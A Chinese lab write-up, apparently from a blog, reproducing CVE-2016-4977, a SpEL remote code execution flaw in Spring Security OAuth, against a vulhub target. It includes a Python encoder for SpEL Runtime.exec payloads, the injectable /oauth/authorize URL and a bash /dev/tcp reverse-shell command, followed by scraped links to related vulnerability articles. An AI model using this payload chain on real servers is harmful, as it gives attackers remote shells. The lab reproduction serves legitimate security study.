0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)

0x01 影响版本

Spring Security OAuth 1.0.0到1.0.5

Spring Security OAuth 2.0.0到2.0.9

Spring Security OAuth 2.0到2.0.14

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.3到2.3.2

0x02 实验入坑说明

(1)poc的执行环境请一定要使用python3,不一定要在靶机Ubuntu内运行poc

(2)直接在自己的服务器监听的是另一个端口,并不影响实验的复现,相当于一个端口启动一个靶场,然后使用另一个端口接收反弹回来的shell

0x03 实验步骤

(1)首先,我们打开靶场环境:看到logo即可确定是spring的集成环境

(2)这里我们复现的步骤一定要一步一个脚印,不可大意。

首先,在vulhub的靶场内你可以看到一个poc.py

这个poc.py并不是你所希望的那种一键getshell的exp,而是一个用于对bash脚本进行编码的poc,如果想知道为什么,请查看文末的友情链接

这个poc十分重要,且只能使用python3的环境,Ubuntu默认已安装python3,但是,如果直接输入python是使用的python2的环境,我在此填坑半小时

可以cat poc.py后直接在自己的本机上运行该poc.py,其全部代码如下:

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}'

(3)靶场环境有一个URL十分重要,即为:

http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

这就是存在命令执行的漏洞环境。触发点在:${233*233}

想知道原理可以查询这篇文章,已经写得非常好了:

https://www.cnblogs.com/litlife/p/10380701.html

(4)复现步骤如下,将自己的shell接收地址记录编辑下来:

bash -i >& /dev/tcp/your-ip/1234 0>&1

在以下网站进行编码操作:

http://www.jackson-t.ca/runtime-exec-payloads.html

然后运行poc.py脚本:(可以不在Ubuntu内运行,我是为了单纯的方便)

提示输入需要编码的字符串,然后将以下在

java.lang.Runtime.exec() Payload Workarounds生成的反弹shell的payload复制到上面的输入框中

成功生成一大串的已经编码过的payload:

http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

看到${233*233}了吗,此时,我们只要用自己的反弹shell的payload把${233*233}这个命令执行触发点替换即可

但是,在替换之前,请记得在你的攻击机Ubuntu上开启监听:

第一次输入上面的URL的时候,会提示你输入账号密码,直接输入admin/admin就可以到达错误页面了:

此时我们就可以使用payload进行反弹shell到Ubuntu了,以下为我在外网搭建的靶场反弹成功的例子,你也可以动手试试:

0x04 实验原理

(1)实验原理大致是该版本的Spring的一个错误页面,存在参数获取未进行过滤,导致可以直接对服务器执行系统权限

(2)详情请参考这篇非常经典的文章:https://www.cnblogs.com/litlife/p/10380701.html(在此不再赘述)

漏洞复现-CVE-2016-4977-Spring远程代码执行的更多相关文章

  1. 【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)

    [2017.5.4更新] 昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295.从描述来看,前者是WordPress Core 4.6一个未经授权的R ...

  2. 漏洞预警 | ECShop全系列版本远程代码执行高危漏洞

    2018年9月1日,阿里云态势感知发布预警,近日利用ECShop全系列版本的远程代码执行漏洞进行批量化攻击量呈上升趋势.该漏洞利用简单且危害较大,黑客可通过WEB攻击直接获得服务器权限. 漏洞原理 该 ...

  3. 【漏洞预警】Apache ActiveMQ Fileserver远程代码执行漏洞(CVE-2016-3088)

    漏洞编码:CVE-2016-3088 实验环境:Linux Apache ActiveMQ版本号:Apache ActiveMQ 5.7.0 ----------------------------- ...

  4. Office CVE-2017-8570远程代码执行漏洞复现

    实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...

  5. CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现

    漏洞背景:来自Wallarm的安全研究员Andrew Danau在9月14-16号举办的Real World CTF中,意外的向服务器发送%0a(换行符)时,服务器返回异常信息.由此发现了这个0day ...

  6. 【研究】Tomcat远程代码执行漏洞(CVE-2017-12615)

    一.Tomcat远程代码执行漏洞(CVE-2017-12615) 1.1       实验环境 操作机:windows 10                         IP:192.168.1. ...

  7. Tomcat远程代码执行漏洞(CVE-2017-12615)修复

    一.漏洞介绍 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有Tomcat远程代码执行漏洞,当存在漏洞的Tomcat运行在Windwos主机上,且启用了HTTP ...

  8. Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

    1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...

  9. Spring Data REST PATCH请求远程代码执行漏洞(CVE-2017-8046) 本地复现方法

      #1背景 Spring Data REST是Spring Data项目的一部分,可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务. 恶意的PATCH请求使用精心构造 ...

  10. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

随机推荐

  1. Codeforces Global Round 9 C. Element Extermination (思维,栈)

    题意:有一个长度\(n\)的序列,如果\(a_{i}<a_{i+1}\),那么可以选择删除\(a_{i}\)或者\(a_{i+1}\),再继续操作,问是否能够将序列删到只剩一个元素. 题解:感觉 ...

  2. Superset 1.0.1发布——稳定版本

    Apache Superset最近发布了1.0.1版本,这也是1.0版本后的有一个重大的版本,Superset也会在以后有更多的改进.那么让我们来看一下最新的新功能吧. 用户体验 通过更简单,更直观的 ...

  3. 洛谷P1119-灾后重建-floyd算法

    洛谷P1119-灾后重建 题目描述 给出\(B\)地区的村庄数NN,村庄编号从\(0\)到\(N-1\),和所有\(M\)条公路的长度,公路是双向的. 给出第\(i\)个村庄重建完成的时间\(t_i\ ...

  4. codeforces 920E(非原创)

    E. Connected Components? time limit per test 2 seconds memory limit per test 256 megabytes input sta ...

  5. docker-swarm----多机容器管理

    Docker Swarm: 准备三台机器,都装上 Docker docker swarm是docker官方提供的一套容器编排系统.它的架构如下: swarm是一系列节点的集合,而节点可以是一台裸机或者 ...

  6. Inkscape tricks

    Draw straight lines: click pencil button -> click once on your canvas(starting point) -> click ...

  7. prefetch vs preload vs prerender vs preconnect All In One

    prefetch vs preload vs prerender vs preconnect All In One 前端性能优化 prefetch 预获取 https://developer.mozi ...

  8. 联合登录 & OAuth 2.0 & OpenID

    联合登录 & OAuth 2.0 & OpenID 第三方联合登录一般可以降低网站的获客成本,所以一般的网站都会做一些联合登录,常用的就是QQ.微信.微博; https://www.z ...

  9. React Hooks 实现一个计时器组件

    React Hooks 实现一个计时器组件 useEffect https://reactjs.org/docs/hooks-reference.html#useeffect import React ...

  10. 同城速递 & 同城跑腿 & 竞品分析

    同城速递 & 同城跑腿 & 竞品分析 toC / toB 闪送 https://www.ishansong.com/ https://www.tianyancha.com/compan ...